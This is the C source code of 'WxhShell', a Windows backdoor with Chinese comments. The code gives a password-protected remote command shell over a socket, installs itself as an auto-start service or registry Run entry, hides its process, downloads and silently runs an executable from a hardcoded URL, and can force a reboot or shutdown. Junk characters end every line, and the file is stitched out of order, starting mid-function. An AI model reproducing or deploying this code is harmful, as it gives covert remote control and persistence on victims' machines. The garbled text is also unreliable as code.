    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cQFR]i  
    else { {sC=J hs-  
    closesocket(wsh); fV ZW[9[  
    ExitThread(0); |Zq\GA  
    } rvwy~hO"  
    break; M>_= "atI  
    } I/UQ'xx  
  // 获取shell +EASAq  
  case 's': { 8kW/DcLE  
    CmdShell(wsh); %TK&)Q% h5  
    closesocket(wsh); O=jN&<rb  
    ExitThread(0); DPJh5d  
    break; MPRO !45Z  
  } f(u&XuZ  
  // 退出 ]RFdLV?  
  case 'x': { g<[rH%\6fg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dA#{Cn;  
    CloseIt(wsh); F1A1@{8bN  
    break; v29G:YQe  
    } "~p+0Xws9  
  // 离开 G+Dpma ]  
  case 'q': { ;WI]vn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j.QHkI1.  
    closesocket(wsh); z*.v_Mx  
    WSACleanup(); "j Zm0U$,*  
    exit(1); Qm);6X   
    break; cj(X2L  
        } hswTn`f  
  } <FmBa4ONU  
  } XS0V:<+,  
T#iU+)-\%  
  // 提示信息 Y5jYmP<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V8'`nuC+  
} KP~-$NR  
  } i;lE5  
&jJckT  
  return; =FBIrw{w  
} t]TyXAr~  
)DZTB  
// shell模块句柄 1-$P0  
int CmdShell(SOCKET sock) Tj,2r]g`<  
{ ,ZK]i CGk  
STARTUPINFO si; b]`^KTYK  
ZeroMemory(&si,sizeof(si)); Jqg3.2q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aW@oE ~`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PqhlXqX9  
PROCESS_INFORMATION ProcessInfo; A ^B@VuK  
char cmdline[]="cmd"; s-Y+x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A! ;meVUs  
  return 0; MCAXt1sL&E  
} Jf+7"![|  
UpeQOC  
// 自身启动模式 q$^<zY  
int StartFromService(void) D_aR\  
{ "3t\em!  
typedef struct ;? 8Iys#  
{ deM~[1e[  
  DWORD ExitStatus; ~N[|bPRmhE  
  DWORD PebBaseAddress; 3zb)"\(R  
  DWORD AffinityMask; ma7fDo0,`h  
  DWORD BasePriority; slSR=XOG  
  ULONG UniqueProcessId; zH+<bEo=1=  
  ULONG InheritedFromUniqueProcessId; P|N?OocE  
}   PROCESS_BASIC_INFORMATION; tQ0=p| T]  
]hUKuef  
PROCNTQSIP NtQueryInformationProcess; y#r\b6  
6{^*JC5nj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cMtJy"kK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mw|SH;nM  
v@,XinB[  
  HANDLE             hProcess; N<b D  
  PROCESS_BASIC_INFORMATION pbi; n1)'cS5}  
gX"T*d>y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y~GUR&ww0n  
  if(NULL == hInst ) return 0; w)<4>(D  
m~Me^yt>}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4[H,3}p9H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -wIM0YJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R`7n^,  
c'lIWuL)  
  if (!NtQueryInformationProcess) return 0; 'WzUu MCx  
Q=XA"R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $9m5bQcV  
  if(!hProcess) return 0; htg'tA^CtS  
<tQXK;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 83xd@-czgh  
TA9dkYlE/  
  CloseHandle(hProcess); YUS?]~XC7x  
165WO}(;/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2HVCXegq  
if(hProcess==NULL) return 0; D`fc7m  
Wbs^(iUU}  
HMODULE hMod; 9!S^^;PN&  
char procName[255]; Deog4Ol"/  
unsigned long cbNeeded; d5q4'6o,  
vK`S!7x'&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I tgH>L'  
Qf~| S9,  
  CloseHandle(hProcess); ;y ,NC2Xj  
;<VR2U`  
if(strstr(procName,"services")) return 1; // 以服务启动 intvlki]be  
|N6mTB2  
  return 0; // 注册表启动 Qq>ElQ@  
} aKD;1|)  
^s.oZj q  
// 主模块 Lo5Jb6nm  
int StartWxhshell(LPSTR lpCmdLine) SZI7M"gf/+  
{ %8g$T6E[<2  
  SOCKET wsl; ev*c4^z:s  
BOOL val=TRUE; n\ Gg6Y  
  int port=0; >T(M0Tkt  
  struct sockaddr_in door; 5GUH;o1m  
wz)m{:b<  
  if(wscfg.ws_autoins) Install(); =yo=q)W  
4&H+hN{3  
port=atoi(lpCmdLine);  TVj1C  
0vcET(  
if(port<=0) port=wscfg.ws_port; #VQ36pCd  
! 7Nn ]Lx  
  WSADATA data; @#1cx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fv;u1Atiw  
dY 6B%V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d[yrNB6|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r \9:<i8  
  door.sin_family = AF_INET; cy9N:MR(c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cyDiA(ot&  
  door.sin_port = htons(port); ~S! L!qY  
-aA<.+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { my=*zziN  
closesocket(wsl); Y]?Kqc  
return 1; ]C+eJ0"A  
} 2}ag_  
Lq3(Z%  
  if(listen(wsl,2) == INVALID_SOCKET) { THb A(SM  
closesocket(wsl); dzpj9[  
return 1; ~igRg~k:/  
} _J +]SNk  
  Wxhshell(wsl); EmYO5Whi  
  WSACleanup(); 2c!h2$w  
f*UBigk  
return 0; K@y-)I2]  
J,MT^B  
} gjO *h3`  
Hu[8HzJo  
// 以NT服务方式启动 r .{rNR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u;$I{b@M]  
{ e1:u1(".  
DWORD   status = 0; v4X_v!CQ  
  DWORD   specificError = 0xfffffff; _QD/!~O  
yIM.j;5:~5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [))gn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aS3P(s L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >9<_s ^_  
  serviceStatus.dwWin32ExitCode     = 0; 6R0D3kW  
  serviceStatus.dwServiceSpecificExitCode = 0; ojiM2QT}m  
  serviceStatus.dwCheckPoint       = 0; YNuewD  
  serviceStatus.dwWaitHint       = 0; 1VRqz5  
[B.W1 GL!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pq%t@j(X  
  if (hServiceStatusHandle==0) return; wEZqkV  
p!.  /  
status = GetLastError(); QxP` fKC8  
  if (status!=NO_ERROR) ftDVxKDE?S  
{ e-&L\M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GZ; Z  
    serviceStatus.dwCheckPoint       = 0; <m-Ni  
    serviceStatus.dwWaitHint       = 0; hB?U5J  
    serviceStatus.dwWin32ExitCode     = status; wn&[1gBxM  
    serviceStatus.dwServiceSpecificExitCode = specificError; kO /~i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0 {Mlu9  
    return; bWhJ^L D  
  } s{b0#[  
>1_Dk7E0D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?*B;514  
  serviceStatus.dwCheckPoint       = 0; t sC z+MP  
  serviceStatus.dwWaitHint       = 0; clij|?O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 ))I$+  
} Ir'DA_..  
*Cc$eR]-  
// 处理NT服务事件,比如:启动、停止 2 rbX8Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [YL sEo=  
{ WBIQ%XB'  
switch(fdwControl) @^w!% ?J  
{ Pcd i  
case SERVICE_CONTROL_STOP: 8^&fZL',  
  serviceStatus.dwWin32ExitCode = 0; D N2hv2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KFCQYdI`d  
  serviceStatus.dwCheckPoint   = 0; F#zQQ)(Pf  
  serviceStatus.dwWaitHint     = 0; i4 y(H  
  { m-Mhf;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PX+"" #  
  } p\4h$."  
  return; NZC<m$')  
case SERVICE_CONTROL_PAUSE: U"jUMOMZ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ylo]`Nq  
  break; roK4RYJ7)  
case SERVICE_CONTROL_CONTINUE: MVu[gB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /3xFd)|Ds  
  break; 2gK p\!  
case SERVICE_CONTROL_INTERROGATE: BV_a-\Sa=  
  break; CNpCe-%&  
}; A5(kOtgiT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7`j|tb-  
} O&gy(   
P,s)2s'nZ  
// 标准应用程序主函数 #t5JUi%in*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >d1aE)?  
{ {|t?   
|\yDgs%EGy  
// 获取操作系统版本 7z0;FW3>9  
OsIsNt=GetOsVer(); % B7?l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l,~ N~?  
#UP,;W  
  // 从命令行安装 b*$o[wO9  
  if(strpbrk(lpCmdLine,"iI")) Install(); .pNq-T  
=}6Z{}(TT  
  // 下载执行文件 i&AXPq>`  
if(wscfg.ws_downexe) { jb6ZAT<8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 06j)P6Iju  
  WinExec(wscfg.ws_filenam,SW_HIDE); dqK  
} @Reh?]# v  
P^o"PKA  
if(!OsIsNt) { -f 'q  
// 如果时win9x,隐藏进程并且设置为注册表启动 8k*k  
HideProc(); ]c~rPi  
StartWxhshell(lpCmdLine); n^I|}u\  
} MXu+I,y*  
else E(L^hZMc  
  if(StartFromService()) $$)<(MP3  
  // 以服务方式启动 .WPuQZ!  
  StartServiceCtrlDispatcher(DispatchTable); v@<lEG#$"|  
else Y }g6IK}  
  // 普通方式启动 P89Dg/P  
  StartWxhshell(lpCmdLine); :W1tIB  
f{oxF?|89  
return 0; hyr5D9d  
} _^,[wD  
LXOF{FG  
+eVpMD( l  
`cy"-CJS  
=========================================== @b(gjOE  
d&3I>E$UP  
hKH Q!`&v  
Qr xO erp  
yp7,^l  
Phjf$\pt  
" |7 W6I$Xl  
>O[^\H!\  
#include <stdio.h> >goAf`sqo  
#include <string.h> #|2g{7 g*  
#include <windows.h> qoyGs}/I8  
#include <winsock2.h> g^|_X1{  
#include <winsvc.h> SJY"]7  
#include <urlmon.h> 1tK6lrhj  
d#$i/&gE  
#pragma comment (lib, "Ws2_32.lib") FCw VVF0 y  
#pragma comment (lib, "urlmon.lib") 2* cKFv{  
WLA_YMlA  
#define MAX_USER   100 // 最大客户端连接数 RdpQJ)3F  
#define BUF_SOCK   200 // sock buffer 19.!$;  
#define KEY_BUFF   255 // 输入 buffer ^9m^#"ZW`  
[pyXX>:M  
#define REBOOT     0   // 重启 j4hUPL7  
#define SHUTDOWN   1   // 关机 ,_7tRkn  
}F9?*2\/  
#define DEF_PORT   5000 // 监听端口 #)c;i<Q3S  
5la]l  
#define REG_LEN     16   // 注册表键长度 rea}Uq+po  
#define SVC_LEN     80   // NT服务名长度 qy0_1xT-  
1\9BO:<K  
// 从dll定义API > &  lg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %#;(]7Zq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); " kJWWR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `5aypJf 1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P#'DGW&W0  
\6PIw-)  
// wxhshell配置信息 A_$Mt~qKi^  
struct WSCFG { W,eKQV<j  
  int ws_port;         // 监听端口 "{1}  
  char ws_passstr[REG_LEN]; // 口令 fCo2".Tk  
  int ws_autoins;       // 安装标记, 1=yes 0=no r  E *u  
  char ws_regname[REG_LEN]; // 注册表键名 c`[uQXv  
  char ws_svcname[REG_LEN]; // 服务名 (/UMi,Ho  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [8(9.6f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kps GQM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LZ<( :S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ur_"m+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /Gu2@m[r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )6S}O* 1  
{;rpgc  
}; (VF4]  
jjlCi<9CQ^  
// default Wxhshell configuration ;`Ch2b1+  
struct WSCFG wscfg={DEF_PORT, $/sZYsN~T  
    "xuhuanlingzhe", Q\th8/ /  
    1, zAdVJ58H  
    "Wxhshell", -O q=J;  
    "Wxhshell", Q,+*u%/u  
            "WxhShell Service", x)Om[jZE  
    "Wrsky Windows CmdShell Service", 5~TA(cb5  
    "Please Input Your Password: ", tfU3 6PR  
  1, /3HWP`<x  
  "http://www.wrsky.com/wxhshell.exe", V?pO~q o  
  "Wxhshell.exe" ##\ZuJ^-  
    }; +_K;Pj]x  
dg@/HLZ  
// 消息定义模块 v-]-wNqT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rsj}hS$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]m,p3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; > ]N0w  
char *msg_ws_ext="\n\rExit."; i!-sbwd7  
char *msg_ws_end="\n\rQuit."; ,Onm!LI=  
char *msg_ws_boot="\n\rReboot..."; SNV+.xN  
char *msg_ws_poff="\n\rShutdown..."; gKH"f%lK  
char *msg_ws_down="\n\rSave to "; GHrT?zEX  
,oVBgCf  
char *msg_ws_err="\n\rErr!"; S:T>oFUot  
char *msg_ws_ok="\n\rOK!"; n`2"(7Wj  
5 /VB'N#7s  
char ExeFile[MAX_PATH]; :jp$X|  
int nUser = 0; "S} hcAL/  
HANDLE handles[MAX_USER]; +mF 2yh  
int OsIsNt; 5m;wMW<  
zEL[%(fnc  
SERVICE_STATUS       serviceStatus; Ljs(<Gm)-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m<HjL  
L&k$4,Z9  
// 函数声明 %Q4w9d  
int Install(void); w%u[~T7OI  
int Uninstall(void);  x a,LV  
int DownloadFile(char *sURL, SOCKET wsh); ]=$ ay0HC  
int Boot(int flag); S6:gow(wU  
void HideProc(void); N.cRZm%  
int GetOsVer(void); WK5bt2x  
int Wxhshell(SOCKET wsl); EjCs  
void TalkWithClient(void *cs); ~_\2\6%1^n  
int CmdShell(SOCKET sock); @Bwl)G!|  
int StartFromService(void); !a&F:Fbm  
int StartWxhshell(LPSTR lpCmdLine); R^C;D 2  
P+l^Ep8P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +:8YMM#9V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3W WxpTU  
>R0j<:p :  
// 数据结构和表定义 ?(hQZR 0e  
SERVICE_TABLE_ENTRY DispatchTable[] = f }e7g d]M  
{ `I<|*vW u  
{wscfg.ws_svcname, NTServiceMain}, #FM 'S|  
{NULL, NULL} E8 )*HOT_T  
}; ^^(ZK 6d  
_!Q\Xn  
// 自我安装 -$p-o Z)  
int Install(void) ZdzGJ[$  
{ 4v JIO{m  
  char svExeFile[MAX_PATH]; +Uk.|@b=-V  
  HKEY key; LKG|S<s  
  strcpy(svExeFile,ExeFile); tH!z7VZ  
d'J?QH!N0  
// 如果是win9x系统,修改注册表设为自启动 N%i<DsK.u6  
if(!OsIsNt) { yXmp]9$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %'< qhGJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PQay sdb  
  RegCloseKey(key); +u.L6GcB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f%l#g]]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? +!?$h  
  RegCloseKey(key); T}On:*&  
  return 0; 0w&1wee(  
    } >U.uRq  
  } #&gy@!a~  
} t:n|0G(  
else { OOwJ3I >]>  
c9={~  
// 如果是NT以上系统,安装为系统服务 Q&;qFv5-l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q:=/d$*xd  
if (schSCManager!=0) ~+ur*3X  
{ /PS]AM  
  SC_HANDLE schService = CreateService sP8B?Tn1W  
  ( j+_75t`AZ  
  schSCManager, Un+Jz ?Y  
  wscfg.ws_svcname, (\ %y)  
  wscfg.ws_svcdisp, GT0'bge  
  SERVICE_ALL_ACCESS, +?'acn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v#G ^W  
  SERVICE_AUTO_START, \`x'g)z(i  
  SERVICE_ERROR_NORMAL, a#$%xw  
  svExeFile, 'IszS!kY  
  NULL, ShxX[k  
  NULL, EpMEA1=&  
  NULL, Grv|Wuli  
  NULL, m#p^'}]!;  
  NULL D.f=!rT7E7  
  ); wxrT(x|  
  if (schService!=0) ^5F/=TtE G  
  { aT[7L9Cw  
  CloseServiceHandle(schService); }(6k7{,Gw,  
  CloseServiceHandle(schSCManager); p:))ne:7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |+''d  
  strcat(svExeFile,wscfg.ws_svcname); 06 1=pV$CJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QI<3N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WDR!e2G  
  RegCloseKey(key); R~([  
  return 0; C]cw@:o%  
    } >i<-rO>kN  
  } 9x\G(w  
  CloseServiceHandle(schSCManager); ozG:f*{T  
} eU0-_3gN_  
} [5-5tipvWp  
?i"FdpW  
return 1; pj6Cvq4bD  
} M IJ~j><L  
Sq QB>;/p  
// 自我卸载 I&c#U+-A'  
int Uninstall(void) on$a]zx'@  
{ l|{<!7a  
  HKEY key; %{"STbO#>  
hW&UG#PY>  
if(!OsIsNt) { hd' n"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N0f}q1S<-A  
  RegDeleteValue(key,wscfg.ws_regname); m~A/.t%=  
  RegCloseKey(key); \8ZNXCP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -D(!B56_  
  RegDeleteValue(key,wscfg.ws_regname); E83nEUs  
  RegCloseKey(key); w8Yff[o  
  return 0; |Sq>uC)  
  } $G[##j2  
} he #iWD'  
} JZ [&:  
else { L`v,:#Y   
98"NUT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QkbN2mFv%  
if (schSCManager!=0) !/SFEL@_B  
{ @ Ia ~9yOY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2_C.-;!  
  if (schService!=0) -u{:39y{n  
  { dmne+ufB  
  if(DeleteService(schService)!=0) { 2NM} u\%c/  
  CloseServiceHandle(schService); @,vSRns  
  CloseServiceHandle(schSCManager);  T7`Jtqf  
  return 0; \T?O.  
  } ;Xns9  
  CloseServiceHandle(schService); tti.-  
  } FgxQ}VvlH  
  CloseServiceHandle(schSCManager); 0Qz \"gr  
} p*Cbe\  
} l3,|r QD  
3 0Z;}<)9  
return 1; P%c<0y"O:>  
} vEkz 5$  
rcOmpgew  
// 从指定url下载文件 ~ p.23G]x  
int DownloadFile(char *sURL, SOCKET wsh) R\^tr  
{ LCt m@oN  
  HRESULT hr; Ue7~rPdlR  
char seps[]= "/"; '4iu0ie>D  
char *token; c<=1,TB"-_  
char *file; 'E9jv4E$n  
char myURL[MAX_PATH]; i \~4W$4I  
char myFILE[MAX_PATH]; !VW#hc \A5  
?`xId;}J#7  
strcpy(myURL,sURL); Ty m!7H2  
  token=strtok(myURL,seps); '@FKgy;B)-  
  while(token!=NULL) sx;1V{|g  
  { y< 84Gw_  
    file=token; 5o?bF3  
  token=strtok(NULL,seps); R= l/EK  
  } .gB*Y!c7  
9ccEF6o0=  
GetCurrentDirectory(MAX_PATH,myFILE); VCIG+Gz  
strcat(myFILE, "\\"); 3HD=)k  
strcat(myFILE, file); s$Mj4_p3l  
  send(wsh,myFILE,strlen(myFILE),0); YAO0>T<F  
send(wsh,"...",3,0); <q|19fH-5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kf*+Ilq%L  
  if(hr==S_OK) *-7O| ''  
return 0; ?AEpg.9R-  
else <m!\Ma  
return 1; @m6E*2Gg  
|<E%hf  
} {pqm&PB04  
8r5j~Df  
// 系统电源模块 C..O_Zn{g  
int Boot(int flag) yR&E6o.$z  
{ "2)T=vHi#  
  HANDLE hToken; s<myZ T$  
  TOKEN_PRIVILEGES tkp; (Q@+W |~  
U;_ ;_  
  if(OsIsNt) { g)zy^ aDf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kxg09\5i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rei<{woX  
    tkp.PrivilegeCount = 1; ,,?t>|3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a}yJ$6xi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'uh6?2)wG  
if(flag==REBOOT) { u+*CpKR}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o_cj-  
  return 0; qVf~\H@  
} B!:(*lF  
else { _M?:N:e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }Vt5].TA  
  return 0; B|8(}Ciqx  
} wi!Ml4Sb  
  } pl%ag~i5  
  else { >o@WT kF]  
if(flag==REBOOT) { (t <Um Vd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8u>E(Vmpu  
  return 0; nD!^0?  
} SkY|.w.   
else { %FwLFo^v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PffRV7qU0  
  return 0;  @>BFhH  
} T =:^k+  
} E| No$QO)  
I)6)~[:'  
return 1; # H4dmnV  
} ruoiG?:T  
"B.l j)  
// win9x进程隐藏模块 >LjvMj ]  
void HideProc(void) CEwG#fZ  
{ TygR G+G-  
>8ePx,+!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KNV$9&Z  
  if ( hKernel != NULL ) c1c0b|B!U  
  { x.'O_7c0:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oYu5]ry  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JMoWA0f  
    FreeLibrary(hKernel); *-2u0%  
  } wsM5T B  
Fd2zvi  
return; `74A'(u_  
} (HY|0Bgr  
JIK;/1  
// 获取操作系统版本 &D/_@\ 0  
int GetOsVer(void) yHCBf)N7\  
{ 2Ddrxc>48  
  OSVERSIONINFO winfo; hF6EOCY6D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )4j#gHN\  
  GetVersionEx(&winfo); T1Xm^{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k)4   
  return 1; Q+S>nL!*#1  
  else )5B90[M|t  
  return 0; ) ~X\W\  
} pmfyvkLS  
FX\ -Y$K  
// 客户端句柄模块 m@OgT<E]_  
int Wxhshell(SOCKET wsl) c" yf>0  
{ .x}ImI  
  SOCKET wsh; V]IS(U(  
  struct sockaddr_in client; ndN 8eh:OR  
  DWORD myID; B6,"S5@  
9v^MZ ^Y{  
  while(nUser<MAX_USER) 8%Pjx7'<  
{ >hHn{3y  
  int nSize=sizeof(client); 2OEO b,`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #qHo+M$"  
  if(wsh==INVALID_SOCKET) return 1; xZBmQ:s',S  
o <sX6a9e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /z6NJ2jb  
if(handles[nUser]==0) ]e R1 +Nl  
  closesocket(wsh); |FH/Q-7[  
else an.)2*u  
  nUser++; je.mX/Lpj  
  } y 2&G0y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Q9{%  
}56"4/  Z  
  return 0; <vOljo  
} B\9ymhx;g%  
?mnwD]u  
// 关闭 socket .BZw7 YV  
void CloseIt(SOCKET wsh) (1*?2u*j  
{ v@[MX- ,8  
closesocket(wsh); Z{ &PKS  
nUser--; ^BW V6  
ExitThread(0); J7$5<  
} RytQNwv3  
qd"*Td  
// 客户端请求句柄 }wz )"  
void TalkWithClient(void *cs) zS]Yd9;X1  
{ B$aboL2  
KD=T04v  
  SOCKET wsh=(SOCKET)cs; J %URg=r  
  char pwd[SVC_LEN]; u JGYXlLE  
  char cmd[KEY_BUFF]; V\^?V|  
char chr[1]; 19h8p>Sx0  
int i,j; F(:+[$)  
[[ H XOPaV  
  while (nUser < MAX_USER) { )9==6p  
DtR-NzjB  
if(wscfg.ws_passstr) { S-g`rTx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $wAVM/u&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H;%a1  
  //ZeroMemory(pwd,KEY_BUFF); W%@6D|^  
      i=0; |v:8^C7  
  while(i<SVC_LEN) { i e%ZX  
$D1Pk  
  // 设置超时  jmz, 1[  
  fd_set FdRead; ,@8>=rT  
  struct timeval TimeOut; 5,k&^CK}  
  FD_ZERO(&FdRead); Ay/ "2pDZ  
  FD_SET(wsh,&FdRead); lhKd<Y"  
  TimeOut.tv_sec=8; 9["yL{IPe  
  TimeOut.tv_usec=0; :^%My]>T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 ; M+8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Tr +:SM  
' w!o!_T6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UeX3cD  
  pwd=chr[0]; kL{2az3"c  
  if(chr[0]==0xd || chr[0]==0xa) { rU%\ 8T0f  
  pwd=0; .^fq$7Y}7  
  break; rV54-K;`0  
  } pu=Q;E_f[  
  i++; 32:q'   
    } #Q"el3P+q  
bw ' yX  
  // 如果是非法用户,关闭 socket xLPyV&j-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4L(axjMYU  
} O\-cLI<h2  
48Z{wV,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kb Odg:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LEKN%2  
<$K%u?  
while(1) { zH.DyD5T;  
SzMh}xDh2  
  ZeroMemory(cmd,KEY_BUFF); H@.j@l  
A !x" *  
      // 自动支持客户端 telnet标准   ym{?vY h  
  j=0; .YKQ6  
  while(j<KEY_BUFF) { m&EwX ^1-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @_YlHe&W  
  cmd[j]=chr[0]; -H#{[M8xX  
  if(chr[0]==0xa || chr[0]==0xd) { D/"[/!  
  cmd[j]=0; l!EfvqWX  
  break; ,0[bzk  
  } S9t_2%e  
  j++; ubjuuha"  
    } H*?U@>UU  
RgZBh04q  
  // 下载文件 3 8m5&5)1F  
  if(strstr(cmd,"http://")) { w$u=_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dc|"34;^"  
  if(DownloadFile(cmd,wsh)) %F` c Nw]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k^:$ETW2 D  
  else j]6 Z*AxQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &>ii2% 4  
  } eo24I0 `N  
  else { 5rr7lw WZ  
!=_:*U)-'  
    switch(cmd[0]) { x}?y@.sn8  
  cO.U*UTmX  
